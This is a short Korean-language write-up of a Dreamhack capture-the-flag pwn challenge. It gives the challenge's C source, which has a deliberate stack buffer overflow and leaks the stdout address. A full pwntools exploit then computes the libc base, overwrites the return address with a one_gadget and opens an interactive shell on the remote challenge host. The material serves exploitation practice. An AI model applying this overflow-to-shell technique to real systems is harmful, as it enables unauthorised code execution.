// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
libc.so.6 파일도 같이 준 점으로 보아 libc_base를 구해서 풀 수 있겠다.
libc_base는 stdout 주소를 이용하여 구할 수 있겠다.
from pwn import *
LOCAL = False
e = ELF('./oneshot')
if (LOCAL == True):
p = process('./oneshot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
else:
p = remote('host3.dreamhack.games', 13098)
libc = ELF('./libc.so.6')
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
stdout_offset = libc.symbols['_IO_2_1_stdout_']
#------------------------------------------------
p.recvuntil('stdout: ')
stdout_addr = int(p.recvline()[:-1], 16)
# print(stdout_addr)
libc_base = stdout_addr - stdout_offset
#-------------------------------------------------------
p.recvuntil('MSG: ')
og = libc_base + one_gadget[0]
payload = 'A' * 0X18 + p64(0) + 'A' * 0x8 + p64(og)
p.send(payload)
p.interactive()
원가젯은 특정 조건일 때만 풀리기에 안 풀릴까봐 걱정을 많이 하기는 했다. (사실 ROP하면 된다.)
stdout이나 stdin으로 libc_base를 구할 때는 꼭 _IO_2_1_로 시작하는 지를 확인하자.